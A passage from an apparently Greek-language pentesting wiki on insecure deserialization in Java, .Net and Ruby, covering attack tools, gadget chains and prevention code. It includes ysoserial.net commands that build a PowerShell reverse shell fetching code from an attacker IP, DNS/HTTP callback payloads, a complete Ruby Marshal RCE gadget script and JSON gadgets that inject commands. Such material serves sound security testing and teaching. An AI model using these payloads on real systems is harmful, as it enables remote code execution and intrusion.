open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Μπορείτε να χρησιμοποιήσετε https://github.com/pwntester/SerialKillerBypassGadgetCollection μαζί με ysoserial για να δημιουργήσετε περισσότερα exploits. Περισσότερες πληροφορίες για αυτό το εργαλείο στις διαφάνειες της παρουσίασης όπου παρουσιάστηκε: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads που εκμεταλλεύονται διαφορετικές βιβλιοθήκες serialization για Json και Yml σε Java.
Για να μεταγλωττίσω το έργο χρειάστηκε να προσθέσω αυτές τις εξαρτήσεις στο pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Εγκαταστήστε maven, και μεταγλωττίστε το έργο:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Διαβάστε περισσότερα σχετικά με αυτή τη Java JSON βιβλιοθήκη: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Εργαστήρια
- Αν θέλετε να δοκιμάσετε κάποια ysoserial payloads μπορείτε να τρέξετε αυτή την webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Γιατί
Η Java χρησιμοποιεί ευρέως serialization για διάφορους σκοπούς όπως:
- HTTP requests: Το serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, του ViewState, των cookies κ.λπ.
- RMI (Remote Method Invocation): Το πρωτόκολλο Java RMI, που βασίζεται εξ ολοκλήρου στο serialization, αποτελεί θεμέλιο για την απομακρυσμένη επικοινωνία σε Java εφαρμογές.
- RMI over HTTP: Αυτή η μέθοδος συνηθίζεται σε εφαρμογές web με thick client βασισμένες σε Java, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
- JMX (Java Management Extensions): Το JMX χρησιμοποιεί serialization για τη μεταφορά αντικειμένων μέσω δικτύου.
- Custom Protocols: Στην Java, η συνήθης πρακτική περιλαμβάνει την αποστολή raw Java objects, κάτι που θα δείξουμε στα επερχόμενα παραδείγματα exploit.
Πρόληψη
Αντικείμενα transient
Μια κλάση που υλοποιεί Serializable
μπορεί να δηλώσει ως transient
οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν πρέπει να είναι serializable. Για παράδειγμα:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Αποφυγή σειριοποίησης μιας κλάσης που πρέπει να υλοποιεί Serializable
Σε σενάρια όπου ορισμένα αντικείμενα πρέπει να υλοποιούν το Serializable
interface λόγω της ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη εσκεμμένης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα δεν μπορούν να αποσειριοποιηθούν ορίζοντας μια final
readObject()
μέθοδο που πάντα ρίχνει μια εξαίρεση, όπως φαίνεται παρακάτω:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Ενίσχυση της ασφάλειας της απο-σειριοποίησης σε Java
Προσαρμογή του java.io.ObjectInputStream
είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών απο-σειριοποίησης. Αυτή η μέθοδος είναι κατάλληλη όταν:
- Ο κώδικας απο-σειριοποίησης βρίσκεται υπό τον έλεγχό σας.
- Οι κλάσεις που αναμένονται για απο-σειριοποίηση είναι γνωστές.
Υπερφορτώστε τη μέθοδο resolveClass()
για να περιορίσετε την απο-σειριοποίηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την απο-σειριοποίηση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο ακόλουθο παράδειγμα που περιορίζει την απο-σειριοποίηση μόνο στην κλάση Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για blacklisting harmful classes, χρησιμοποιώντας μια JVM παράμετρο:
-javaagent:name-of-agent.jar
Παρέχει έναν τρόπο για να ασφαλίσετε τη deserialization δυναμικά, ιδανικό για περιβάλλοντα όπου άμεσες αλλαγές στον κώδικα είναι πρακτικά ανέφικτες.
Check and example in rO0 by Contrast Security
Implementing Serialization Filters: Η Java 9 εισήγαγε serialization filters μέσω του interface ObjectInputFilter
, παρέχοντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα serialized αντικείμενα προτού γίνουν deserialized. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά stream, προσφέροντας λεπτομερή έλεγχο στη διαδικασία deserialization.
Για να χρησιμοποιήσετε serialization filters, μπορείτε να ορίσετε ένα global filter που εφαρμόζεται σε όλες τις deserialization operations ή να το διαμορφώσετε δυναμικά για συγκεκριμένα streams. Για παράδειγμα:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Ενισχυμένη Ασφάλεια: Βιβλιοθήκες όπως οι NotSoSerial, jdeserialize, και Kryo προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσειριοποίησης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν πρόσθετα επίπεδα ασφάλειας, όπως whitelisting ή blacklisting κλάσεων, ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσειριοποίηση, και υλοποίηση προσαρμοσμένων στρατηγικών serialization.
- NotSoSerial παρεμβαίνει στις διαδικασίες αποσειριοποίησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
- jdeserialize επιτρέπει την ανάλυση σειριοποιημένων Java αντικειμένων χωρίς να τα αποσειριοποιεί, βοηθώντας στον εντοπισμό πιθανώς κακόβουλου περιεχομένου.
- Kryo είναι ένα εναλλακτικό serialization framework που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές serialization που μπορούν να ενισχύσουν την ασφάλεια.
Αναφορές
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Βρείτε τι είναι JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (και παράδειγμα αυτής της vuln) στην παρακάτω σελίδα:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
Η Java Message Service (JMS) API είναι ένα Java message-oriented middleware API για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων clients. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος producer–consumer. Το JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE), και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε στη Sun Microsystems, αλλά έκτοτε καθοδηγείται από τη Java Community Process. Είναι ένα πρότυπο messaging που επιτρέπει στα components εφαρμογών βασισμένων σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών components μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (From Wikipedia).
Προϊόντα
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα:
Εκμετάλλευση
Ουσιαστικά υπάρχουν πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο. Επομένως, εάν έχετε αρκετά προνόμια για να στέλνετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα credentials) θα μπορούσατε να είστε σε θέση να στείλετε κακόβουλα σειριοποιημένα αντικείμενα που θα αποσειριοποιηθούν από τον consumer/subscriber.
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι clients που πρόκειται να χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν.
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσειριοποιεί ανασφαλώς είσοδο χρήστη) εξακολουθεί να χρειάζεται να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
Το εργαλείο JMET δημιουργήθηκε για να συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα κακόβουλα σειριοποιημένα αντικείμενα χρησιμοποιώντας γνωστά gadgets. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία εξακολουθεί να είναι ευάλωτη και εάν οποιοδήποτε από τα χρησιμοποιημένα gadgets βρίσκεται μέσα στην ευάλωτη εφαρμογή.
Αναφορές
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσειριοποίησης λειτουργούν με τρόπο παρόμοιο με εκείνον στη Java, όπου gadgets αξιοποιούνται για να τρέξουν συγκεκριμένο κώδικα κατά την αποσειριοποίηση ενός αντικειμένου.
Αναγνώριση
WhiteBox
Ο πηγαίος κώδικας πρέπει να ελεγχθεί για εμφανίσεις των:
TypeNameHandling
JavaScriptTypeResolver
Η εστίαση θα πρέπει να είναι σε serializers που επιτρέπουν ο τύπος να καθορίζεται από μια μεταβλητή υπό τον έλεγχο του χρήστη.
BlackBox
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά AAEAAAD///// ή σε οποιοδήποτε παρόμοιο πρότυπο που μπορεί να υποβληθεί σε αποσειριοποίηση στο server-side, δίνοντας τον έλεγχο πάνω στον τύπο που θα αποσειριοποιηθεί. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, JSON ή XML δομές που έχουν TypeObject
ή $type
.
ysoserial.net
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο ysoserial.net για να δημιουργήσετε τα exploits αποσειριοποίησης. Αφού κατεβάσετε το repository, πρέπει να συμπιέσετε/μεταγλωττίσετε το εργαλείο χρησιμοποιώντας το Visual Studio για παράδειγμα.
If you want to learn about how does ysoserial.net creates it's exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Οι βασικές επιλογές του ysoserial.net είναι: --gadget
, --formatter
, --output
και --plugin
.
--gadget
χρησιμοποιείται για να δηλώσει το gadget που θα καταχραστείτε (να υποδείξετε την class/function που θα χρησιμοποιηθεί κατά την αποσειριοποίηση για να εκτελέσει εντολές).--formatter
, χρησιμοποιείται για να υποδείξετε τη μέθοδο με την οποία θα σειριοποιηθεί το exploit (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το backend για να αποσειριοποιήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε).--output
χρησιμοποιείται για να υποδείξετε αν θέλετε το exploit σε raw ή base64 κωδικοποιημένο. Σημειώστε ότι το ysoserial.net θα κωδικοποιήσει το payload χρησιμοποιώντας UTF-16LE (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε από ένα linux console μπορεί να έχετε προβλήματα encoding compatibility που θα εμποδίσουν το exploit να λειτουργήσει σωστά (στο HTB JSON box το payload δούλεψε τόσο σε UTF-16LE όσο και σε ASCII αλλά αυτό δεν σημαίνει ότι θα δουλεύει πάντα).--plugin
το ysoserial.net υποστηρίζει plugins για να φτιάξετε exploits για συγκεκριμένα frameworks όπως ViewState
Περισσότερες παράμετροι του ysoserial.net
--minify
θα παρέχει ένα μικρότερο payload (όπου είναι δυνατό)--raf -f Json.Net -c "anything"
Αυτό θα δείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν δοσμένο formatter (Json.Net
σε αυτή την περίπτωση)--sf xml
μπορείτε να υποδείξετε ένα gadget (-g
) και το ysoserial.net θα ψάξει για formatters που περιέχουν "xml" (case insensitive)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net έχει επίσης μία πολύ ενδιαφέρουσα παράμετρο που βοηθά να κατανοήσεις καλύτερα πώς λειτουργεί κάθε exploit: --test
Αν δηλώσεις αυτή την παράμετρο, ysoserial.net θα δοκιμάσει το exploit τοπικά, ώστε να μπορείς να ελέγξεις αν το payload σου θα λειτουργήσει σωστά.
Αυτή η παράμετρος είναι χρήσιμη γιατί αν εξετάσεις τον κώδικα θα βρεις κομμάτια κώδικα όπως το παρακάτω (από ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Αυτό σημαίνει ότι, για να δοκιμαστεί το exploit, ο κώδικας θα καλέσει serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Στον προηγούμενο κώδικα υπάρχει ευπάθεια στο exploit που δημιουργήθηκε. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανότατα και αυτή η εφαρμογή είναι ευάλωτη.
Επομένως η παράμετρος --test
μας επιτρέπει να καταλάβουμε ποια τμήματα κώδικα είναι ευάλωτα στο desrialization exploit που μπορεί να δημιουργήσει το ysoserial.net.
ViewState
Δείτε αυτό το POST σχετικά με το πώς να επιχειρήσετε να exploit την παράμετρο __ViewState του .Net για να execute arbitrary code. Αν γνωρίζετε ήδη τα secrets που χρησιμοποιεί η μηχανή-θύμα, διαβάστε αυτή την ανάρτηση για το πώς να execute code.
Prevention
Για να μετριάσετε τους κινδύνους που σχετίζονται με τη deserialization στο .Net:
- Αποφύγετε να επιτρέπετε σε streams δεδομένων να καθορίζουν τους τύπους αντικειμένων. Χρησιμοποιήστε
DataContractSerializer
ήXmlSerializer
όταν είναι δυνατόν. - Για
JSON.Net
, ορίστεTypeNameHandling
σεNone
:TypeNameHandling = TypeNameHandling.None
- Αποφύγετε τη χρήση
JavaScriptSerializer
μεJavaScriptTypeResolver
. - Περιορίστε τους τύπους που μπορούν να deserialized, κατανοώντας τους εγγενείς κινδύνους με τύπους του .Net, όπως
System.IO.FileInfo
, που μπορούν να τροποποιήσουν ιδιότητες αρχείων στον server, ενδεχομένως οδηγώντας σε denial of service attacks. - Να είστε προσεκτικοί με τύπους που έχουν επικίνδυνες ιδιότητες, όπως
System.ComponentModel.DataAnnotations.ValidationException
με την ιδιότηταValue
, η οποία μπορεί να εκμεταλλευτεί. - Ελέγξτε με ασφάλεια την instantation τύπων ώστε να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία deserialization, καθιστώντας ακόμα και
DataContractSerializer
ήXmlSerializer
ευάλωτα. - Εφαρμόστε white list έλεγχο χρησιμοποιώντας έναν custom
SerializationBinder
γιαBinaryFormatter
καιJSON.Net
. - Μείνετε ενημερωμένοι για γνωστά insecure deserialization gadgets στο .Net και βεβαιωθείτε ότι οι deserializers δεν instantiate τέτοιους τύπους.
- Απομονώστε πιθανώς επικίνδυνο κώδικα από κώδικα με πρόσβαση στο internet για να αποφύγετε την έκθεση γνωστών gadgets, όπως
System.Windows.Data.ObjectDataProvider
σε WPF εφαρμογές, σε μη αξιόπιστες πηγές δεδομένων.
References
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Στο Ruby, η σειριοποίηση γίνεται μέσω δύο μεθόδων στην βιβλιοθήκη marshal. Η πρώτη μέθοδος, γνωστή ως dump, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε byte stream — αυτή η διαδικασία αναφέρεται ως serialization. Αντίστοιχα, η δεύτερη μέθοδος, load, χρησιμοποιείται για να αναστρέψει ένα byte stream πίσω σε αντικείμενο — μια διαδικασία που είναι γνωστή ως deserialization.
Για την ασφάλεια των σειριοποιημένων αντικειμένων, το Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code), διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτόν τον σκοπό αποθηκεύεται σε μία από τις ακόλουθες πιθανές τοποθεσίες:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() μέθοδος
Όπως εξηγείται στο this vulnerability report, αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο .send()
ενός ruby αντικειμένου, αυτή η μέθοδος επιτρέπει να κληθεί οποιαδήποτε άλλη μέθοδος του αντικειμένου με οποιουσδήποτε παραμέτρους.
Για παράδειγμα, η κλήση του eval και στη συνέχεια ruby κώδικα ως δεύτερου παραμέτρου θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Επιπλέον, αν μόνο ένας παράμετρος της .send()
ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στο προηγούμενο writeup, είναι δυνατό να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που δεν χρειάζεται ορίσματα ή τα ορίσματά της έχουν προεπιλεγμένες τιμές.
Για αυτό, είναι δυνατό να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να βρεθούν μερικές ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις προϋποθέσεις.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Δες πώς είναι δυνατό να pollute a Ruby class and abuse it in here.
Ruby _json pollution
Όταν αποστέλλεις στο body κάποιες τιμές που δεν είναι hashable, όπως ένα array, αυτές θα προστεθούν σε ένα νέο κλειδί που ονομάζεται _json
. Ωστόσο, είναι δυνατό ένας attacker να ορίσει επίσης στο body μια τιμή _json
με οποιεσδήποτε αυθαίρετες τιμές επιθυμεί. Έτσι, αν το backend —για παράδειγμα— ελέγξει την εγκυρότητα μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιήσει την παράμετρο _json
για να εκτελέσει κάποια ενέργεια, μπορεί να γίνει authorisation bypass.
Δες περισσότερες πληροφορίες στη Ruby _json pollution page.
Άλλες βιβλιοθήκες
Η τεχνική αυτή ελήφθη from this blog post.
Υπάρχουν κι άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για να serialize objects και που κατά συνέπεια θα μπορούσαν να καταχρηστούν για να αποκτηθεί RCE κατά τη διάρκεια insecure deserialization. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλείται της φορτωμένης library όποτε γίνεται unserialized (η λειτουργία που θα μπορούσε να καταχραστεί για να επιτευχθεί RCE βασικά):
Βιβλιοθήκη | Δεδομένα εισόδου | Μέθοδος εκκίνησης μέσα στην κλάση |
Marshal (Ruby) | Binary | _load |
Oj | JSON | hash (class needs to be put into hash(map) as key) |
Ox | XML | hash (class needs to be put into hash(map) as key) |
Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Βασικό παράδειγμα:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Σε περίπτωση προσπάθειας κατάχρησης του Oj, ήταν δυνατό να βρεθεί μια gadget class που μέσα στη hash
function θα καλεί to_s
, η οποία θα καλεί spec
, που θα καλεί fetch_path
— το οποίο μπορούσε να το αναγκάσουμε να κάνει fetch ένα τυχαίο URL, παρέχοντας έναν εξαιρετικό ανιχνευτή για αυτού του είδους τις unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε πλήρες RCE με κάτι όπως:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Cache εκκίνησης
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
-
Αναγνώριση της ευπάθειας και του περιβάλλοντος
The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap).
-
Κατανόηση του μηχανισμού Cache του Bootsnap
Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup.
-
Συλλογή metadata αρχείου
The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key.
-
Υπολογισμός του μονοπατιού του cache αρχείου
By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/).
-
Δημιουργία του malicious cache αρχείου
The attacker prepares a payload that:
- Εκτελεί arbitrary commands (for example, running id to show process info).
- Αφαιρεί το malicious cache μετά την εκτέλεση για να αποτρέψει recursive exploitation.
- Φορτώνει το original file (π.χ., set.rb) για να αποφευχθεί το crash της εφαρμογής.
This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap).
-
Επανεγγραφή και ενεργοποίηση εκτέλεσης
Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load
/marshal_load
as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Ελάχιστο ευάλωτο μονοπάτι κώδικα Rails:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Συνηθισμένες κλάσεις gadget που παρατηρούνται σε πραγματικές αλυσίδες:
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά το unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails cache stores and session stores historically using Marshal
- Background job backends and file-backed object stores
- Any custom persistence or transport of binary object blobs
Industrialized gadget discovery:
- Grep for constructors,
hash
,_load
,init_with
